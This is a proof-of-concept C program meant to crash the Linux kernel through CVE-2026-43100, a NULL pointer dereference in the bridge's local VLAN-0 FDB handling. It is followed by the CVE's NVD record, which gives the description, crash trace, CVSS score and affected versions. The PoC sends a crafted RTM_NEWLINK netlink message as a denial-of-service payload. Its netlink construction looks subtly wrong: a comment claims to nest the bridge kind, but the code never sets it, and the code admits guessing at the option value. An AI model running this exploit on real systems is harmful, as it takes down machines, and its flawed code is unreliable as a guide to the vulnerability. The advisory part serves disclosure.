CVE-2026-43100

/* * PoC for CVE-2026-43100 * Trigger NULL pointer deref in Linux Bridge by toggling FDB local VLAN 0 option * Requires CONFIG_BRIDGE_VLAN_FILTERING not set */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/if_link.h> #define BRIDGE_NAME "br_test" void create_netlink_msg(int sock) { struct { struct nlmsghdr nh; struct ifinfomsg ifi; char buf[1024]; } req; struct rtattr *rta; int ifindex = if_nametoindex("lo"); // Dummy index or use existing interface memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nh.nlmsg_type = RTM_NEWLINK; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.ifi.ifi_family = AF_UNSPEC; // Add interface name rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nh.nlmsg_len)); rta->rta_type = IFLA_IFNAME; rta->rta_len = RTA_LENGTH(strlen(BRIDGE_NAME) + 1); strcpy(RTA_DATA(rta), BRIDGE_NAME); req.nh.nlmsg_len = NLMSG_ALIGN(req.nh.nlmsg_len) + RTA_ALIGN(rta->rta_len); // Add link info (Bridge) struct rtattr *linkinfo = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nh.nlmsg_len)); linkinfo->rta_type = IFLA_LINKINFO; linkinfo->rta_len = RTA_LENGTH(0); req.nh.nlmsg_len += RTA_ALIGN(linkinfo->rta_len); // Nested IFLA_INFO_KIND (bridge) struct rtattr *infodata = (struct rtattr *)(((char *)linkinfo) + RTA_LENGTH(0)); infodata->rta_type = IFLA_INFO_DATA; infodata->rta_len = RTA_LENGTH(0); linkinfo->rta_len += RTA_ALIGN(infodata->rta_len); // Set BR_BOOLOPT_FDB_LOCAL_VLAN_0 // Assuming option maps to a bit or value handled by br_boolopt_multi_toggle struct rtattr *boolopt = (struct rtattr *)(((char *)infodata) + RTA_LENGTH(0)); boolopt->rta_type = IFLA_BR_MULTI_BOOLOPT; // The value needed to trigger the specific path. // Based on git diff, this interacts with the br_boolopt_toggle. uint32_t opt_val = 1; boolopt->rta_len = RTA_LENGTH(sizeof(opt_val)); memcpy(RTA_DATA(boolopt), &opt_val, sizeof(opt_val)); infodata->rta_len += RTA_ALIGN(boolopt->rta_len); req.nh.nlmsg_len += RTA_ALIGN(infodata->rta_len); // Send message send(sock, &req, req.nh.nlmsg_len, 0); printf("[+] Payload sent to trigger CVE-2026-43100\n"); } int main() { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock < 0) { perror("socket"); return 1; } struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; bind(sock, (struct sockaddr *)&addr, sizeof(addr)); create_netlink_msg(sock); close(sock); return 0; }

{"cve": {"id": "CVE-2026-43100", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:23.523", "lastModified": "2026-05-11T17:35:52.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbridge: guard local VLAN-0 FDB helpers against NULL vlan group\n\nWhen CONFIG_BRIDGE_VLAN_FILTERING is not set, br_vlan_group() and\nnbp_vlan_group() return NULL (br_private.h stub definitions). The\nBR_BOOLOPT_FDB_LOCAL_VLAN_0 toggle code is compiled unconditionally and\nreaches br_fdb_delete_locals_per_vlan_port() and\nbr_fdb_insert_locals_per_vlan_port(), where the NULL vlan group pointer\nis dereferenced via list_for_each_entry(v, &vg->vlan_list, vlist).\n\nThe observed crash is in the delete path, triggered when creating a\nbridge with IFLA_BR_MULTI_BOOLOPT containing BR_BOOLOPT_FDB_LOCAL_VLAN_0\nvia RTM_NEWLINK. The insert helper has the same bug pattern.\n\n Oops: general protection fault, probably for non-canonical address 0xdffffc0000000056: 0000 [#1] KASAN NOPTI\n KASAN: null-ptr-deref in range [0x00000000000002b0-0x00000000000002b7]\n RIP: 0010:br_fdb_delete_locals_per_vlan+0x2b9/0x310\n Call Trace:\n br_fdb_toggle_local_vlan_0+0x452/0x4c0\n br_toggle_fdb_local_vlan_0+0x31/0x80 net/bridge/br.c:276\n br_boolopt_toggle net/bridge/br.c:313\n br_boolopt_multi_toggle net/bridge/br.c:364\n br_changelink net/bridge/br_netlink.c:1542\n br_dev_newlink net/bridge/br_netlink.c:1575\n\nAdd NULL checks for the vlan group pointer in both helpers, returning\nearly when there are no VLANs to iterate. This matches the existing\npattern used by other bridge FDB functions such as br_fdb_add() and\nbr_fdb_delete()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.24", "matchCriteriaId": "4C4EAA6A-7949-4B29-BD69-5BB05C4D1A6B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1979645e1842cb7017525a61a0e0e0beb924d02a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ddf0ec2d600e7dad62b89692749534d7900a732a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fb612d436ff0317659e45a91c25fd7d9516f5b1b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}